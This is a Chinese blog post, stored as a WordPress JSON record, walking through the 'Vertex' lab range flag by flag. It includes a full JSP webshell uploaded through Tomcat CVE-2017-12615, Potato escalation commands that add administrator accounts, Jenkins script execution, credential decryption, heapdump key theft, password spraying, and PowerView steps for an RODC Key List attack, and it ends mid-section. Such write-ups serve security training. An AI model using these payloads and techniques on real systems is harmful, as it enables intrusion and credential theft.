{"id":1115,"date":"2025-06-20T14:31:26","date_gmt":"2025-06-20T06:31:26","guid":{"rendered":"https:\/\/www.s1mh0.cn\/blog\/?p=1115"},"modified":"2025-09-13T16:39:02","modified_gmt":"2025-09-13T08:39:02","slug":"cqyj_vertex","status":"publish","type":"post","link":"https:\/\/www.s1mh0.cn\/blog\/index.php\/2025\/06\/20\/cqyj_vertex\/","title":{"rendered":"\u6625\u79cb\u4e91\u5883-Vertex"},"content":{"rendered":"

Vertex<\/h2>\n

\u6d89\u53ca\u7684\u77e5\u8bc6\u70b9<\/p>\n

Tomcat put \u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\uff08CVE-2017-12615\uff09\nJenkins\u5f31\u5bc6\u7801 + gitlab \u7ec4\u5408\u5229\u7528\nheapdump\u6cc4\u9732\nmysql\u5f31\u5bc6\u7801\u4e00\u952e\u5229\u7528\n\u5bc6\u7801\u55b7\u6d12\nRODC<\/code><\/pre>\n
\u5165\u53e3\u673a\u4e00<\/h3>\n
flag1<\/h3>\n
start infoscan\n8.130.154.233:8000 open\n8.130.154.233:1433 open\n8.130.154.233:8172 open\n8.130.154.233:80 open\n[*] alive ports len is: 4\nstart vulscan\n[*] WebTitle http:\/\/8.130.154.233      code:200 len:43679  title:VertexSoft\n[*] WebTitle https:\/\/8.130.154.233:8172 code:404 len:0      title:None\n[*] WebTitle http:\/\/8.130.154.233:8000 code:200 len:4018   title:Modbus Monitor - VertexSoft Internal Attendance System<\/code><\/pre>\n
\u5165\u53e3\u70b9\u6709\u4e2a\u767b\u5f55\u6ce8\u518c\u70b9\uff0c\u6ce8\u518c\u529f\u80fd\u672a\u5bf9\u6743\u9650\u8fdb\u884c\u6821\u9a8c\uff0c\u5728\u6ce8\u518c\u9875\u9762\u6293\u5305\u53ef\u4ee5\u76f4\u63a5\u4fee\u6539\u89d2\u8272\u4e3aadmin<\/p>\n
__RequestVerificationToken=dnT77wpFfjJqrqJl0KRAydLJJlm-RKHUNZf1MIDswQN8ldDGRQB_Lq-3xjvLH4np0UmspFF2SroKPnT5PZaKDHc910n17bC9ljZHNdeTS3M1&username=321&password=321&role=admin<\/code><\/pre>\n
\u6587\u4ef6\u4e0b\u8f7d-\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6<\/h4>\n
\u767b\u5f55\u540e\u70b9\u51fb Export List \u53ef\u4ee5\u4e0b\u8f7d\u6587\u4ef6\uff0c\u80fd\u66b4\u9732\u7ba1\u7406\u5458\u8d26\u5bc6\u8ddf\u4e0a\u4f20\u8def\u5f84\uff08\u5f53\u65f6\u60f3\u7740\u627e\u6587\u4ef6\u4e0a\u4f20\u70b9\uff0c\u5fd8\u8bb0\u4e86\u6587\u4ef6\u4e0b\u8f7d\u529f\u80fd\u53ef\u80fd\u5b58\u5728\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\uff0c\u8fd8\u662f\u4e0d\u591f\u654f\u611f\uff09<\/p>\n
\"vertex_1\"<\/p>\n
\"vertex_2\"<\/p>\n
admin\/A1m!n@Qsx1Jn<\/code><\/pre>\n
Wappalyzer\u5206\u6790\u7f51\u5740\u7528\u7684\u662f ASP.NET \u6846\u67b6\uff0c\u56e0\u6b64\u8bfb\u53d6web.config\u9ed8\u8ba4\u6587\u4ef6\uff0c\u8fd9\u91cc\u6709\u70b9\u5947\u602a\uff0c\u6309\u7406\u6587\u4ef6\u540d\u5927\u5c0f\u5199\u4e0d\u654f\u611f\uff0c\u4f46\u662f\u8bfbweb.config\u65f6\uff0cconfig\u5fc5\u987b\u5b57\u6bcd\u6709\u4e00\u4e2a\u5927\u5199\u624d\u80fd\u8bfb\u5230\uff0c\u540e\u9762rdp\u4e0a\u53bb\u7ffb\u6e90\u7801\uff0c\u6682\u672a\u6df1\u7a76\u539f\u56e0<\/p>\n
\"vertex_3\"<\/p>\n
\/User\/DownloadFile?download=Export&fileName=..\/web.Config<\/code><\/pre>\n
\u914d\u7f6e\u6587\u4ef6\u8bfb\u5230 mssql \u8d26\u5bc6<\/p>\n
  <connectionStrings>\n    <add name="UserModel" connectionString="data source=127.0.0.1;initial catalog=GuestDB;persist security info=True;user id=sa;password=Sa1pYbSM!dsQ;MultipleActiveResultSets=True;App=EntityFramework" providerName="System.Data.SqlClient" \/>\n  <\/connectionStrings><\/code><\/pre>\n
mssql\u5229\u7528<\/h4>\n
sa\/Sa1pYbSM!dsQ<\/code><\/pre>\n
MDUT \u5de5\u5177\u4e00\u628a\u68ad\uff0c\u53d1\u73b0\u4f20\u5de5\u5177\u4f1a\u88ab\u6740\uff0c\u770b\u4e86\u4e00\u4e0b\u8fdb\u7a0b\u5b58\u5728 WD<\/p>\n
\"vertex_4\"<\/p>\n
\u4f20\u4e2a\u514d\u6740\u5c0f\u571f\u8c46\uff0c\u6dfb\u52a0\u7ba1\u7406\u5458\u8d26\u6237<\/p>\n
C:\/Users\/Public\/spms.exe -a "net user simho whoami@123 \/add"\nC:\/Users\/Public\/spms.exe -a "net localgroup administrators simho \/add"<\/code><\/pre>\n
\"vertex_5\"<\/p>\n
RDP\u4e0a\u53bb\u62ff\u5230\u7b2c\u4e00\u4e2aflag<\/p>\n
\"vertex_6\"<\/p>\n
flag2<\/h3>\n
\u5173WD\u6536\u96c6\u5185\u7f51\u4fe1\u606f<\/p>\n
fscan.exe -h 192.168.8.9\/24 -np\n\nstart infoscan\n192.168.8.146:22 open\n192.168.8.42:22 open\n192.168.8.42:80 open\n192.168.8.9:80 open\n192.168.8.16:135 open\n192.168.8.12:135 open\n192.168.8.9:135 open\n192.168.8.26:135 open\n192.168.8.38:135 open\n192.168.8.9:139 open\n192.168.8.16:139 open\n192.168.8.12:139 open\n192.168.8.26:139 open\n192.168.8.38:139 open\n192.168.8.12:445 open\n192.168.8.9:445 open\n192.168.8.26:445 open\n192.168.8.16:445 open\n192.168.8.38:445 open\n192.168.8.9:1433 open\n192.168.8.38:3306 open\n192.168.8.9:8000 open\n192.168.8.26:8080 open\n192.168.8.16:8080 open\n192.168.8.146:8080 open\n192.168.8.12:88 open\n192.168.8.42:8060 open\n192.168.8.9:8172 open\n192.168.8.42:9094 open\n[*] alive ports len is: 29\nstart vulscan\n[*] WebTitle http:\/\/192.168.8.42:8060  code:404 len:555    title:404 Not Found\n[*] NetBios 192.168.8.12    [+] DC:VERTEXSOFT\\RODC\n[*] NetBios 192.168.8.26    WORKGROUP\\WIN-PC3788\n[*] NetBios 192.168.8.16    WORKGROUP\\WIN-SERVER03\n[*] NetInfo\n[*]192.168.8.38\n   [->]WIN-OPS88\n   [->]192.168.8.38\n[*] NetInfo\n[*]192.168.8.12\n   [->]RODC\n   [->]192.168.8.12\n[*] NetInfo\n[*]192.168.8.16\n   [->]WIN-SERVER03\n   [->]192.168.8.16\n[*] NetInfo\n[*]192.168.8.9\n   [->]WIN-IISSERER\n   [->]192.168.8.9\n[*] NetInfo\n[*]192.168.8.26\n   [->]WIN-PC3788\n   [->]192.168.8.26\n[*] WebTitle http:\/\/192.168.8.42       code:302 len:99     title:None \u8df3\u8f6curl: http:\/\/192.168.8.42\/users\/sign_in\n[*] NetBios 192.168.8.38    WORKGROUP\\WIN-OPS88\n[*] WebTitle http:\/\/192.168.8.9        code:200 len:43679  title:VertexSoft\n[+] mysql 192.168.8.38:3306:root 123456\n[*] WebTitle http:\/\/192.168.8.146:8080 code:302 len:0      title:None \u8df3\u8f6curl: http:\/\/192.168.8.146:8080\/login;jsessionid=5E750AD36D2F1A594C6C4EAADEE050C9\n[*] WebTitle http:\/\/192.168.8.26:8080  code:200 len:147    title:\u7b2c\u4e00\u4e2a JSP \u7a0b\u5e8f\n[*] WebTitle http:\/\/192.168.8.42\/users\/sign_in code:200 len:11166  title:\u767b\u5f55 \u00b7 GitLab\n[*] WebTitle http:\/\/192.168.8.16:8080  code:403 len:594    title:None\n[*] WebTitle https:\/\/192.168.8.9:8172  code:404 len:0      title:None\n[*] WebTitle http:\/\/192.168.8.146:8080\/login;jsessionid=5E750AD36D2F1A594C6C4EAADEE050C9 code:200 len:1383   title:Master ERP login Form\n[+] PocScan http:\/\/192.168.8.146:8080 poc-yaml-spring-actuator-heapdump-file\n[+] PocScan http:\/\/192.168.8.146:8080 poc-yaml-springboot-env-unauth spring2<\/code><\/pre>\n
Tomcat put \u6587\u4ef6\u4e0a\u4f20\uff08CVE-2017-12615\uff09<\/h4>\n
\u4f20\u4e2ajsp\u8681\u5251\u9a6c<\/p>\n
PUT \/backup\/upload\/sim.jsp HTTP\/1.1\nHost: 192.168.8.26:8080\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/129.0.0.0 Safari\/537.36\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,\n*\/*\n;q=0.8,application\/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: JSESSIONID=A377FCF0DA5A1767C46C7478027926F9; JSESSIONID=0F908F3AE0576C6145257C8E9395272C\nConnection: close\nContent-Length: 956\n\n<%!\n    class U extends ClassLoader {\n        U(ClassLoader c) {\n            super(c);\n        }\n        public Class g(byte[] b) {\n            return super.defineClass(b, 0, b.length);\n        }\n    }\n\n    public byte[] base64Decode(String str) throws Exception {\n        try {\n            Class clazz = Class.forName("sun.misc.BASE64Decoder");\n            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);\n        } catch (Exception e) {\n            Class clazz = Class.forName("java.util.Base64");\n            Object decoder = clazz.getMethod("getDecoder").invoke(null);\n            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);\n        }\n    }\n%>\n<%\n    String cls = request.getParameter("passwd");\n    if (cls != null) {\n        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);\n    }\n%><\/code><\/pre>\n
\"vertex_7\"<\/p>\n
http:\/\/192.168.8.26:8080\/backup\/sim.jsp<\/code><\/pre>\n
\u571f\u8c46\u63d0\u6743\u62ff\u7b2c\u4e8c\u4e2aflag<\/p>\n
C:\/Users\/Public\/spms.exe -a "type C:\\Users\\Administrator\\flag\\flag.txt"<\/code><\/pre>\n
\"vertex_8\"<\/p>\n
flag3<\/h3>\n
Jenkins \u5f31\u53e3\u4ee4+\u540e\u53f0\u547d\u4ee4\u6267\u884c<\/h4>\n
http:\/\/192.168.8.16:8080\nadmin\/admin123<\/code><\/pre>\n
\/manage\/script <\/code>\u547d\u4ee4\u6267\u884c\u8001\u624b\u6cd5\u4e86<\/p>\n
println "whoami".execute().text<\/code><\/pre>\n
\"vertex_9\"<\/p>\n
\u6dfb\u52a0\u7ba1\u7406\u5458\u8d26\u6237\uff0cRDP\u8fde\u63a5\u62ff\u7b2c\u4e09\u4e2aflag<\/p>\n
\"vertex_10\"<\/p>\n
flag4<\/h3>\n
gitlab<\/h4>\n
\u7ffb\u914d\u7f6e\u6587\u4ef6\u6216\u8005\u7ffb\u540e\u53f0\u62ff\u5230 gitlab \u7684 API token<\/p>\n
C:\\ProgramData\\Jenkins\\.jenkins\\credentials.xml<\/code><\/pre>\n
\u89e3\u5bc6<\/p>\n
println(hudson.util.Secret.fromString("{AQAAABAAAAAgvBTIIfz3QQnmD8y+ncKsVDqTEsdqjxdp\/rkK9tRPkckOfP9xBtu6uqckTjQJ6gJj}").getPlainText())\n\n\/\/ glpat-bGEgHAJDvwaPP78rsLeS<\/code><\/pre>\n
\u67e5\u770b\u6240\u6709\u9879\u76ee<\/p>\n
curl --header "PRIVATE-TOKEN:glpat-bGEgHAJDvwaPP78rsLeS" "http:\/\/192.168.8.42\/api\/v4\/projects"<\/code><\/pre>\n
\u641c\u7d22http_url_to_repo<\/code>\uff0c\u4e00\u5171\u67095\u4e2a\u9879\u76ee<\/p>\n
git clone http:\/\/192.168.8.42:glpat-bGEgHAJDvwaPP78rsLeS@192.168.8.42\/vertexsoft\/vertexsoftbackup.git<\/code><\/pre>\n
vertexsoftbackup\u9879\u76ee\u4e2d\u7684backup.txt\u62ff\u5230\u7b2c\u56db\u4e2aflag\uff08\u9776\u573a\u7684gitlab API token\u6253\u7684\u65f6\u5019\u8fc7\u671f\u4e86\uff0c\u96be\u7ef7\uff09<\/p>\n
{"error":"invalid_token","error_description":"Token is expired. You can either do re-authorization or token refresh."}<\/code><\/pre>\n
\u5165\u53e3\u673a\u4e8c<\/h3>\n
flag5<\/h3>\n
start infoscan\n8.130.147.92:8080 open\n8.130.147.92:84 open\n8.130.147.92:22 open\n8.130.147.92:10000 open\n[*] alive ports len is: 4\nstart vulscan\n[*] WebTitle http:\/\/8.130.147.92:8080  code:302 len:0      title:None \u8df3\u8f6curl: http:\/\/8.130.147.92:8080\/login;jsessionid=4B259F1C48900B77B3E80C0E9FDD6B58\n[*] WebTitle http:\/\/8.130.147.92:10000 code:400 len:0      title:None\n[*] WebTitle http:\/\/8.130.147.92:8080\/login;jsessionid=4B259F1C48900B77B3E80C0E9FDD6B58 code:200 len:1383   title:Master ERP login Form\n[+] PocScan http:\/\/8.130.147.92:8080 poc-yaml-spring-actuator-heapdump-file\n[+] PocScan http:\/\/8.130.147.92:8080 poc-yaml-springboot-env-unauth spring2<\/code><\/pre>\n
heapdump \u6cc4\u9732 ShiroKey<\/h4>\n
\u7ecf\u5178heapdump<\/p>\n
http:\/\/8.130.172.33:8080\/actuator\/heapdump<\/code><\/pre>\n
JDumpSpider\u62ffShiroKey<\/p>\n
===========================================\nCookieRememberMeManager(ShiroKey)\n-------------\nalgMode = GCM, key = ro6vN77nEcopeQ1ypM7PuQ==, algName = AES\n\n===========================================<\/code><\/pre>\n
\u6ce8\u5165\u51b0\u874e\u5185\u5b58\u9a6c\uff0c\u6839\u76ee\u5f55\u62ff\u5230\u7b2c\u4e94\u4e2aflag<\/p>\n
\"vertex_11\"<\/p>\n
flag6<\/h3>\n
fscan\u626b\u5185\u7f51\uff0c\u626b\u5230mysql\u5f31\u5bc6\u7801<\/p>\n
root@erp:\/tmp# .\/fscan -h 192.168.8.146\/24 -np\n\n   ___                              _    \n  \/ _ \\     ___  ___ _ __ __ _  ___| | __ \n \/ \/_\\\/____\/ __|\/ __| '__\/ _` |\/ __| |\/ \/\n\/ \/_\\\\_____\\__ \\ (__| | | (_| | (__|   <    \n\\____\/     |___\/\\___|_|  \\__,_|\\___|_|\\_\\   \n                     fscan version: 1.8.4\nstart infoscan\n192.168.8.9:80 open\n192.168.8.42:80 open\n192.168.8.42:22 open\n192.168.8.146:22 open\n192.168.8.9:135 open\n192.168.8.12:135 open\n192.168.8.26:135 open\n192.168.8.16:135 open\n192.168.8.38:135 open\n192.168.8.9:139 open\n192.168.8.16:139 open\n192.168.8.12:139 open\n192.168.8.26:139 open\n192.168.8.38:139 open\n192.168.8.9:445 open\n192.168.8.16:445 open\n192.168.8.12:445 open\n192.168.8.26:445 open\n192.168.8.38:445 open\n192.168.8.9:1433 open\n192.168.8.38:3306 open\n192.168.8.9:8000 open\n192.168.8.16:8080 open\n192.168.8.26:8080 open\n192.168.8.146:8080 open\n192.168.8.12:88 open\n192.168.8.42:8060 open\n192.168.8.9:8172 open\n192.168.8.42:9094 open\n[*] alive ports len is: 29\nstart vulscan\n[*] NetInfo \n[*]192.168.8.9\n   [->]WIN-IISSERER\n   [->]192.168.8.9\n[*] NetBios 192.168.8.16    WORKGROUP\\WIN-SERVER03        \n[*] NetBios 192.168.8.26    WORKGROUP\\WIN-PC3788          \n[*] NetBios 192.168.8.12    [+] DC:VERTEXSOFT\\RODC         \n[*] NetBios 192.168.8.38    WORKGROUP\\WIN-OPS88           \n[*] NetInfo \n[*]192.168.8.16\n   [->]WIN-SERVER03\n   [->]192.168.8.16\n[*] NetInfo \n[*]192.168.8.12\n   [->]RODC\n   [->]192.168.8.12\n[*] NetInfo \n[*]192.168.8.38\n   [->]WIN-OPS88\n   [->]192.168.8.38\n[*] NetInfo \n[*]192.168.8.26\n   [->]WIN-PC3788\n   [->]192.168.8.26\n[*] WebTitle http:\/\/192.168.8.9:8000   code:200 len:4018   title:Modbus Monitor - VertexSoft Internal Attendance System\n[*] WebTitle http:\/\/192.168.8.9        code:200 len:43679  title:VertexSoft\n[*] NetBios 192.168.8.9     WORKGROUP\\WIN-IISSERER        \n[*] WebTitle http:\/\/192.168.8.42:8060  code:404 len:555    title:404 Not Found\n[*] WebTitle http:\/\/192.168.8.146:8080 code:302 len:0      title:None \u8df3\u8f6curl: http:\/\/192.168.8.146:8080\/login;jsessionid=AD08706D8BB820CE901FFC1CB939EB86\n[*] WebTitle https:\/\/192.168.8.9:8172  code:404 len:0      title:None\n[*] WebTitle http:\/\/192.168.8.146:8080\/login;jsessionid=AD08706D8BB820CE901FFC1CB939EB86 code:200 len:1383   title:Master ERP login Form\n[*] WebTitle http:\/\/192.168.8.42       code:302 len:99     title:None \u8df3\u8f6curl: http:\/\/192.168.8.42\/users\/sign_in\n[*] WebTitle http:\/\/192.168.8.26:8080  code:200 len:147    title:\u7b2c\u4e00\u4e2a JSP \u7a0b\u5e8f\n[*] WebTitle http:\/\/192.168.8.42\/users\/sign_in code:200 len:11166  title:\u767b\u5f55 \u00b7 GitLab\n[*] WebTitle http:\/\/192.168.8.16:8080  code:403 len:594    title:None\n[+] PocScan http:\/\/192.168.8.146:8080 poc-yaml-spring-actuator-heapdump-file \n[+] PocScan http:\/\/192.168.8.146:8080 poc-yaml-springboot-env-unauth spring2\n[+] mysql 192.168.8.38:3306:root 123456<\/code><\/pre>\n
mysql\u5229\u7528<\/h4>\n
MDUT\u4e00\u952eudf\u63d0\u6743\uff0c\u62ff\u5230system\u6743\u9650<\/p>\n
\"vertex_12\"<\/p>\n
\u6dfb\u52a0\u7ba1\u7406\u5458\u8d26\u6237\uff0cRDP\u767b\u5f55\u62ff\u7b2c\u516d\u4e2aflag<\/p>\n
net user simho whoami@123 \/add\nnet localgroup administrators simho \/add<\/code><\/pre>\n
\"vertex_13\"<\/p>\n
flag7<\/h3>\n
\u5bc6\u7801\u55b7\u6d12 + \u8fc7\u671f\u5bc6\u7801\u4fee\u6539<\/h4>\n
\u7ffb\u6587\u4ef6\u7684\u65f6\u5019\u5728C:\\Users\\Administrator\\Documents<\/code>\u770b\u5230ROAdmins.xlsx<\/code>\uff0c\u91cc\u9762\u6709\u51e0\u7ec4\u8d26\u5bc6\uff0c\u5c1d\u8bd5\u5728\u57df\u5185\u8fdb\u884c\u5bc6\u7801\u55b7\u6d12\uff0c\u53d1\u73b0\u8d26\u5bc6\u5168\u90e8\u8fc7\u671f<\/p>\n
proxychains4 -q crackmapexec smb 192.168.8.1\/24 -u user.txt -p pass.txt --no-bruteforce<\/code><\/pre>\n
\"vertex_14\"<\/p>\n
\u50cfDelegation\u90a3\u6837\uff0c\u5728kali\u7528rdesktop\u767b\u5f55\u53ef\u4ee5\u76f4\u63a5\u6539\u5bc6\u7801\uff0c\u987a\u4fbf\u8bbe\u4e00\u4e2a\u5171\u4eab\u6587\u4ef6\u5939\u65b9\u4fbf\u540e\u7eed\u4e24\u8fb9\u4f20\u6587\u4ef6<\/p>\n
proxychains4 -q rdesktop 192.168.8.12 -u CharlieCloud -p 'u!6vDaGQOA' -d vertexsoft.local -r disk:share=\/root\/Desktop\/vertex<\/code><\/pre>\n
\u767b\u5f55\u540e\u62ff\u5230\u7b2c\u4e03\u4e2aflag<\/p>\n
\"vertex_15\"<\/p>\n
flag8<\/h3>\n
RODC<\/h4>\n
\u901a\u8fc7\u4e0b\u9762\u4e24\u7bc7\u6587\u7ae0\u63d0\u70bc\u4e86\u4e00\u4e0b\u91cd\u70b9<\/p>\n
https:\/\/whoamianony.top\/posts\/revisiting-a-abuse-of-read-only-domain-controllers\/#domain-privilege-escalation\nhttps:\/\/www.freebuf.com\/articles\/network\/362023.html<\/code><\/pre>\n
\u53ea\u8bfb\u57df\u63a7\u5236\u5668\uff08RODC\uff09\u6709\u4ee5\u4e0b\u51e0\u4e2a\u7279\u70b9\uff1a<\/p>\n
    \n
  • RODC\u53ea\u5141\u8bb8\u53ea\u8bfb\u8bbf\u95ee\uff0c\u4e0d\u5141\u8bb8\u5bf9 Active Directory\u7684\u6570\u636e\u8fdb\u884c\u4fee\u6539\u3002\n
      \n
    • \u5ba2\u6237\u7aef\u53ef\u4ee5\u4ece\u4e2d\u67e5\u8be2\u548c\u8bfb\u53d6\u4fe1\u606f\uff08\u4f8b\u5982\uff0c\u8fdb\u884c\u7528\u6237\u8eab\u4efd\u9a8c\u8bc1\uff09\uff0c\u4f46\u6240\u6709\u5199\u5165\u8bf7\u6c42\uff08\u5982\u5bc6\u7801\u4fee\u6539\u3001\u5c5e\u6027\u66f4\u65b0\uff09\u90fd\u4f1a\u88ab RODC \u900f\u660e\u5730\u8f6c\u53d1\u5230\u53ef\u8bfb\u5199\u7684\u57df\u63a7\u5236\u5668\u8fdb\u884c\u5904\u7406\u3002<\/li>\n<\/ul>\n<\/li>\n
    • \u6570\u636e\u53ea\u80fd\u4ece\u53ef\u8bfb\u5199\u7684\u57df\u63a7\u5236\u5668\u590d\u5236\u5230 RODC\uff0c\u800c RODC \u4e0d\u4f1a\u5c06\u4efb\u4f55\u6570\u636e\u590d\u5236\u56de\u5176\u4ed6\u57df\u63a7\u5236\u5668\u3002<\/li>\n
    • \u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cRODC \u4e0a\u4e0d\u5b58\u50a8\u4efb\u4f55\u7528\u6237\u6216\u8ba1\u7b97\u673a\u7684\u5bc6\u7801\u51ed\u636e\u3002\u7ba1\u7406\u5458\u53ef\u4ee5\u901a\u8fc7\u201c\u5bc6\u7801\u590d\u5236\u7b56\u7565\u201d\u914d\u7f6e\u63a7\u5236\u54ea\u4e9b\u7528\u6237\u7684\u5bc6\u7801\u53ef\u4ee5\u88ab\u7f13\u5b58\u5230 RODC \u4e0a\u3002<\/li>\n<\/ul>\n
      \u6bcf\u4e2a RODC \u90fd\u6709\u81ea\u5df1\u7279\u5b9a\u7684 Krbtgt \u5e10\u6237\uff0c\u8be5\u5e10\u6237\u7279\u5b9a\u4e8e\u8be5 RODC \u5e76\u4e14\u4e0e\u5199\u57df\u63a7\u5236\u5668\u7684 Krbtgt \u5e10\u6237\u9694\u79bb\u3002RODC Kerberos \u5e10\u6237\u9075\u5faa\u547d\u540d\u683c\u5f0f \u201cKrbtgt_xxxxx\u201d\uff0c\u5176\u4e2d xxxxx \u662f\u5bc6\u94a5\u7248\u672c\u53f7\uff0c\u4ee5\u6307\u793a\u4f7f\u7528\u54ea\u4e2a\u5bc6\u94a5\u6765\u52a0\u5bc6\u548c\u7b7e\u7f72\u7968\u8bc1\u3002<\/p>\n
      \u5f53 RODC \u751f\u6210\u7684 TGT \u63d0\u4f9b\u7ed9\u53ef\u5199\u57df\u63a7\u5236\u5668\u65f6\uff0c\u4ec5\u5f53\u7968\u8bc1\u662f\u4e3a RODC \u7684 msDS-RevealOnDemandGroup \u5c5e\u6027\u4e2d\u5217\u51fa\u7684\u4e3b\u4f53\u751f\u6210\u4e14\u672a\u5728 RODC \u7684 msDS-NeverRevealGroup \u5c5e\u6027\u4e2d\u5217\u51fa\u65f6\uff0c\u57df\u63a7\u5236\u5668\u624d\u4f1a\u63a5\u53d7\u5b83\u3002<\/p>\n
        \n
      • msDS-RevealOnDemandGroup<\/code>\u5c5e\u6027\u6307\u5b9a\u4e86\u4e00\u7ec4\u53ef\u4ee5\u5728RODC\u4e0a\u7f13\u5b58\u5176\u6210\u5458\u8eab\u4efd\u7684\u5b89\u5168\u7ec4\u3002\u5982\u679c\u7528\u6237\u662f\u8be5\u7ec4\u7684\u6210\u5458\uff0cRODC\u5c06\u5728\u9700\u8981\u65f6\u5411\u4e0a\u7ea7\u57df\u63a7\u5236\u5668\u8bf7\u6c42\u5176\u8eab\u4efd\u4fe1\u606f\uff0c\u5e76\u5c06\u5176\u7f13\u5b58\u5728\u672c\u5730\uff0c\u4ece\u800c\u63d0\u9ad8\u8eab\u4efd\u9a8c\u8bc1\u901f\u5ea6\u548c\u6548\u7387\u3002<\/li>\n
      • msDS-NeverRevealGroup<\/code>\u5c5e\u6027\u6307\u5b9a\u4e86\u4e00\u7ec4\u4e0d\u5141\u8bb8\u5728RODC\u4e0a\u7f13\u5b58\u5176\u6210\u5458\u8eab\u4efd\u7684\u5b89\u5168\u7ec4\u3002\u5982\u679c\u7528\u6237\u662f\u8be5\u7ec4\u7684\u6210\u5458\uff0c\u5219\u5176\u8eab\u4efd\u4fe1\u606f\u5c06\u59cb\u7ec8\u4ece\u4e0a\u7ea7\u57df\u63a7\u5236\u5668\u8bf7\u6c42\uff0c\u5e76\u4e0d\u4f1a\u7f13\u5b58\u5728RODC\u4e0a\uff0c\u4ece\u800c\u4fdd\u62a4\u654f\u611f\u4fe1\u606f\uff0c\u907f\u514d\u5728RODC\u4e0a\u6cc4\u9732\u3002\uff08\u8be5\u5c5e\u6027\u4f18\u5148\u7ea7\u9ad8\u4e8emsDS-RevealOnDemandGroup<\/code>\uff09<\/li>\n<\/ul>\n
        \u7b80\u5355\u6765\u8bf4\uff0c\u5f53\u83b7\u53d6\u5230 RODC \u7ba1\u7406\u5458\u6743\u9650\uff0c\u53ef\u4ee5\u901a\u8fc7\u4f2a\u9020\u4e00\u4e2a RODC \u7684\u9ec4\u91d1\u7968\u636e\uff0c\u901a\u8fc7\u5bc6\u94a5\u5217\u8868\u653b\u51fb\uff08Key List Attack\uff09\u83b7\u53d6\u53ef\u5199\u57df\u63a7\u7684\u7ba1\u7406\u5458\u54c8\u5e0c\u503c\u3002<\/p>\n
        \u5bc6\u94a5\u5217\u8868\u653b\u51fb\uff08Key List Attack\uff09<\/h5>\n
          \n
        • \n
          \u4f2a\u9020 RODC \u9ec4\u91d1\u7968\u636e\uff0c\u4f7f\u7528\u8be5\u7968\u636e\u5411\u201cKRBTGT\u201d\u670d\u52a1\u7684\u53ef\u5199\u57df\u63a7\u5236\u5668\u53d1\u9001 TGS-REQ<\/p>\n
          TGS-REQ \u5305\u542b\u201c\u5bc6\u94a5\u5217\u8868\u8bf7\u6c42\u201d(KERB-KEY-LIST-REQ)\u3002\u5982\u679c\u76ee\u6807\u5e10\u6237\u4f4d\u4e8e RODC \u7684 msDS-RevealOnDemandGroup \u5c5e\u6027\u4e14\u4e0d\u4f4d\u4e8e msDS-NeverRevealGroup \u5c5e\u6027\uff0c\u5219 TGS-REP \u5c06\u5305\u542b\u5e26\u6709\u7528\u6237\u51ed\u636e\u7684 KERB-KEY-LIST-REP \u7ed3\u6784\u3002<\/code><\/pre>\n<\/li>\n
        • \n
          \u5bc6\u94a5\u5206\u53d1\u4e2d\u5fc3\uff08KDC\uff09\u6536\u5230\u5305\u542b KERB-KEY-LIST-REQ padata \u7c7b\u578b\u7684 KRB_TGS-REQ \u6d88\u606f\uff0c\u5e76\u8fd4\u56de\u5305\u542b\u76ee\u6807\u7528\u6237\u51ed\u636e\u7684 KRB_TGS-REP \u6d88\u606f<\/p>\n<\/li>\n
        • \n
          \u89e3\u5bc6\u76ee\u6807\u7528\u6237\u51ed\u636e\uff0c\u83b7\u53d6\u76ee\u6807\u7528\u6237\u54c8\u5e0c\uff0c\u8fdb\u884c\u54c8\u5e0c\u4f20\u9012\u653b\u51fb<\/p>\n<\/li>\n<\/ul>\n
          \u5229\u7528\u6b65\u9aa4\uff1a<\/p>\n
          1\u3001\u901a\u8fc7 bloodhound \u5206\u6790\u5f97\u5230\u524d\u9762\u8868\u683c\u91cc\u7684\u57df\u5185\u7528\u6237\u90fd\u5c5e\u4e8eRODC ADMINS<\/code>\u7ec4\uff0c\u5e76\u4e14\u5bf9\u53ea\u8bfb\u57df\u63a7\u6709GenericAll<\/code>\u6743\u9650<\/p>\n
          \"vertex_16\"<\/p>\n
          2\u3001\u4fee\u6539msDS-RevealOnDemandGroup<\/code>\u548cmsDS-NeverRevealGroup<\/code>\u5c5e\u6027<\/p>\n
          \u5c06\u57df\u7ba1\u7406\u5458\u8d26\u6237\u6dfb\u52a0\u5230msDS-RevealOnDemandGroup \u5c5e\u6027\u4e2d<\/p>\n
          # \u5bfc\u5165 PowerView \u6a21\u5757\nImport-Module .\\PowerView.ps1\n\n# \u83b7\u53d6\u5f53\u524d\u5c5e\u6027\u503c\nGet-DomainObject 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Properties 'msDS-RevealOnDemandGroup' | Select-Object -ExpandProperty 'msDS-RevealOnDemandGroup'\n\n# \u8bbe\u7f6e\u65b0\u7684\u5c5e\u6027\u503c\nSet-DomainObject -Identity 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Set @{'msDS-RevealOnDemandGroup'=@(\n    'CN=Administrator,CN=Users,DC=vertexsoft,DC=local'\n)}<\/code><\/pre>\n
          \u5c06 msDS-NeverRevealGroup \u5c5e\u6027\u6e05\u7a7a<\/p>\n
          Import-Module .\\PowerView.ps1\nGet-DomainObject 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Properties 'msDS-NeverRevealGroup' | Select-Object -ExpandProperty 'msDS-NeverRevealGroup'\n# \u6e05\u7a7a msDS-NeverRevealGroup \u7684\u5c5e\u6027\u503c\nSet-DomainObject -Identity 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Clear 'msDS-NeverRevealGroup'<\/code><\/pre>\n
          \u67e5\u770b\u7ba1\u7406\u5458\u7528\u6237\u662f\u5426\u5728 msDS-NeverRevealGroup \u5c5e\u6027\u4e2d<\/p>\n
